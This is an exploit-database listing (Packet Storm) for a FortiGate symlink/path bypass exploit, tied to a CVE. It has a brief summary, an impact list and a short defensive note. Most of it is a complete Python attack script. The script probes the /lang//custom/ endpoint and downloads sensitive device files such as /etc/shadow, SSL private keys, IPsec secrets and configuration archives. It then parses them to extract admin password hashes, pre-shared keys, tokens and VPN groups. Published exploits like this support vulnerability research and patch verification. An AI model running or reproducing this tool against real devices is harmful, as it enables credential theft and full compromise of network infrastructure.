PACKETSTORM 5.9 MEDIUM

📄 FortiGate Advanced Symlink Bypass Exploit_PACKETSTORM:215597

5.9 / 10
MEDIUM
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Description

This Python script is an advanced exploitation tool targeting vulnerable FortiGate devices manufactured by Fortinet. It attempts to exploit a symlink/path bypass vulnerability via the /lang//custom/ endpoint in order to access sensitive internal files...
Visit Original Source

Basic Information

ID PACKETSTORM:215597
Published Feb 16, 2026 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : FortiGate Advanced Symlink Bypass Exploit with Configuration & Credential Extraction |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.fortinet.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/215520/ & CVE-2025-68686

[+] Summary : This Python script is an advanced exploitation tool targeting vulnerable FortiGate devices manufactured by Fortinet.
It attempts to exploit a symlink/path bypass vulnerability via the /lang//custom/ endpoint in order to access sensitive internal files that should not be publicly accessible.

[+] Key Features:

Tests whether the target device appears vulnerable.

Attempts to download sensitive system and configuration files.

Decompresses .gz configuration files.

Parses configuration content to extract:

Admin usernames and password hashes

VPN user groups

Pre-shared keys (PSKs)

Authentication tokens and secrets

Saves raw files and extracted credentials locally.

[+] Potential Impact:

If successful, the tool can expose:

Administrator credentials

VPN secrets and group memberships

System configuration details

SSL certificates and private keys

Log files containing sensitive operational data

This could allow full administrative compromise of the device and potentially lateral movement inside the internal network.

[+] Risk Level: Critical – Successful exploitation may result in complete device takeover.

[+] Defensive Note:

Organizations should:

Update FortiOS to the latest version

Restrict SSL VPN access

Monitor logs for suspicious /lang//custom/ requests

Enforce MFA on administrative accounts

[+] POC :

#!/usr/bin/env python3

import requests
import urllib3
import argparse
import sys
import gzip
import re
import base64
import hashlib
from pathlib import Path
import json
from datetime import datetime
import os
import io

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class FortiGateExploiter:
def __init__(self, target_ip, target_port, output_dir="fortigate_dump"):
self.target_ip = target_ip
self.target_port = target_port
self.output_dir = output_dir
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 15

Path(output_dir).mkdir(exist_ok=True)

self.interesting_paths = [

"/lang//custom/data/config/sys_global.conf.gz",
"/lang//custom/data/config/system.conf",
"/lang//custom/data/config/vip.conf",
"/lang//custom/data/config/vpn.conf",
"/lang//custom/data/config/firewall.conf",
"/lang//custom/data/config/router.conf",
"/lang//custom/data/config/system.conf.gz",
"/lang//custom/data/etc/passwd",
"/lang//custom/data/etc/shadow",
"/lang//custom/data/etc/master.passwd",
"/lang//custom/data/etc/ssl/private/ssl-cert-snakeoil.key",
"/lang//custom/data/data/etc/admin_passwd",
"/lang//custom/data/data/etc/authd.conf",
"/lang//custom/data/etc/ppp/chap-secrets",
"/lang//custom/data/etc/ipsec.conf",
"/lang//custom/data/etc/ipsec.secrets",
"/lang//custom/data/etc/openvpn/server.conf",
"/lang//custom/data/var/log/system.log",
"/lang//custom/data/var/log/auth.log",
"/lang//custom/data/var/log/vpn.log",
"/lang//custom/data/cert/ssl/ca_cert",
"/lang//custom/data/cert/ssl/server_cert",
"/lang//custom/data/cert/ssl/server_key",
"/lang//custom/data/version",
"/lang//custom/data/etc/version",
"/lang//custom/data/etc/hostname",
"/lang//custom/data/etc/hosts",
]

def test_vulnerability(self):
"""Test if device is vulnerable"""
test_url = f"https://{self.target_ip}:{self.target_port}/lang//custom/test"

try:
response = self.session.get(test_url)
if response.status_code in [200, 404]:
print("[+] Target appears VULNERABLE to bypass technique!")
return True
elif response.status_code == 403:
print("[-] Target is PATCHED against bypass")
return False
else:
print(f"[?] Unknown response code: {response.status_code}")
return True # Assume vulnerable
except Exception as e:
print(f"[-] Error testing vulnerability: {e}")
return False

def download_file(self, path):
"""Download a file from the target"""
url = f"https://{self.target_ip}:{self.target_port}{path}"

try:
response = self.session.get(url)
if response.status_code == 200:
if len(response.content) > 100 and not response.content.startswith(b'<!DOCTYPE'):
return response.content
return None
except Exception as e:
print(f"[-] Error downloading {path}: {e}")
return None

def parse_config_gz(self, data):
"""Parse gzipped configuration file - CORRECTED VERSION"""
try:
with gzip.open(io.BytesIO(data), 'rt', encoding='utf-8', errors='ignore') as f:
return f.read()
except Exception as e:
print(f"[-] Error parsing gzip file: {e}")
return None

def extract_credentials(self, config_text):
"""Extract credentials from configuration"""
credentials = {
'users': [],
'passwords': [],
'secrets': [],
'vpn_users': [],
'admin_users': [],
'hashes': []
}

if not config_text:
return credentials
password_patterns = [
(r'password\s+["\']?([^"\'\s]+)["\']?', 'plain'),
(r'passwd\s+["\']?([^"\'\s]+)["\']?', 'plain'),
(r'psk\s+["\']?([^"\'\s]+)["\']?', 'psk'),
(r'secret\s+["\']?([^"\'\s]+)["\']?', 'secret'),
(r'key\s+["\']?([^"\'\s]+)["\']?', 'key'),
(r'auth-token\s+["\']?([^"\'\s]+)["\']?', 'token'),
(r'encrypted\s+password\s+["\']?([^"\'\s]+)["\']?', 'encrypted'),
(r'set\s+password\s+([A-Fa-f0-9]{32,})', 'md5_hash'),
(r'sha256\s+([A-Fa-f0-9]{64})', 'sha256_hash'),
]
admin_pattern = r'config user local\s+edit\s+["\']?([^"\'\s]+)["\']?.*?set (?:password|passwd)\s+(?:ENCRYPTED\s+)?([^\s]+)'
admin_matches = re.findall(admin_pattern, config_text, re.DOTALL | re.IGNORECASE)
for match in admin_matches:
credentials['admin_users'].append({
'username': match[0],
'password_hash': match[1]
})

vpn_pattern = r'config user group\s+edit\s+["\']?([^"\'\s]+)["\']?.*?set member\s+([^\n]+)'
vpn_matches = re.findall(vpn_pattern, config_text, re.DOTALL | re.IGNORECASE)
for match in vpn_matches:
credentials['vpn_users'].append({
'group': match[0],
'members': match[1].strip()
})

for pattern, ptype in password_patterns:
matches = re.findall(pattern, config_text, re.IGNORECASE)
for match in matches:
if len(match) > 3:
if 'hash' in ptype:
credentials['hashes'].append(match)
else:
credentials['passwords'].append({'value': match, 'type': ptype})

return credentials

def run_exploit(self):
"""Main exploit function"""
print(f"\n[*] Starting FortiGate exploit against {self.target_ip}:{self.target_port}")
print(f"[*] Output directory: {self.output_dir}")
if not self.test_vulnerability():
response = input("\n[?] Continue anyway? (y/n): ")
if response.lower() != 'y':
return False

downloaded = []
for path in self.interesting_paths:
filename = path.split('/')[-1]
print(f"\n[*] Trying: {path}")

data = self.download_file(path)
if data:
filepath = f"{self.output_dir}/{self.target_ip}_{filename}"
with open(filepath, 'wb') as f:
f.write(data)

print(f"[+] Downloaded: {filename} ({len(data)} bytes)")
downloaded.append(filepath)
if filename.endswith('.gz'):
config_text = self.parse_config_gz(data)
if config_text:
decomp_path = f"{self.output_dir}/{self.target_ip}_{filename.replace('.gz', '')}"
with open(decomp_path, 'w', encoding='utf-8') as f:
f.write(config_text)
print(f"[+] Decompressed config saved to: {decomp_path}")

if 'sys_global.conf' in filename or 'system.conf' in filename:
creds = self.extract_credentials(config_text)
cred_path = f"{self.output_dir}/{self.target_ip}_credentials.txt"
with open(cred_path, 'w', encoding='utf-8') as f:
f.write(f"Credentials extracted from {self.target_ip}\n")
f.write(f"Date: {datetime.now().isoformat()}\n")
f.write("=" * 60 + "\n\n")

if creds['admin_users']:
f.write("ADMIN USERS:\n")
f.write("-" * 40 + "\n")
for user in creds['admin_users']:
f.write(f" Username: {user['username']}\n")
f.write(f" Password Hash: {user['password_hash']}\n\n")

if creds['vpn_users']:
f.write("VPN GROUPS:\n")
f.write("-" * 40 + "\n")
for group in creds['vpn_users']:
f.write(f" Group: {group['group']}\n")
f.write(f" Members: {group['members']}\n\n")

if creds['hashes']:
f.write("CRYPTOGRAPHIC HASHES:\n")
f.write("-" * 40 + "\n")
for h in set(creds['hashes']):
f.write(f" {h}\n")

if creds['passwords']:
f.write("POTENTIAL PASSWORDS/KEYS:\n")
f.write("-" * 40 + "\n")
for pwd in creds['passwords'][:30]: # Show first 30
f.write(f" [{pwd['type']}] {pwd['value']}\n")

print(f"[+] Extracted credentials saved to: {cred_path}")
print(f"\n[!] CREDENTIALS SUMMARY:")
print(f" Admin users found: {len(creds['admin_users'])}")
print(f" VPN groups found: {len(creds['vpn_users'])}")
print(f" Hashes found: {len(creds['hashes'])}")
print(f" Passwords/keys found: {len(creds['passwords'])}")
else:
print(f"[-] Failed to download: {filename}")

if downloaded:
print(f"\n[+] Success! Downloaded {len(downloaded)} files to {self.output_dir}/")
return True
else:
print("\n[-] No files were downloaded. Device might be patched.")
return False

def main():
parser = argparse.ArgumentParser(description='Advanced FortiGate Symlink Bypass Exploit (Corrected)')
parser.add_argument('target', help='Target IP:port')
parser.add_argument('-o', '--output', default='fortigate_dump',
help='Output directory (default: fortigate_dump)')

args = parser.parse_args()

try:
if ':' in args.target:
ip, port = args.target.split(':')
port = int(port)
else:
ip = args.target
port = 443
except:
print("[-] Invalid target format")
sys.exit(1)

exploit = FortiGateExploiter(ip, port, args.output)
success = exploit.run_exploit()

if success:
print(f"\n[+] Exploit completed. Check {args.output}/ for results")
sys.exit(0)
else:
print("\n[-] Exploit failed")
sys.exit(1)

if __name__ == "__main__":
main()


Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.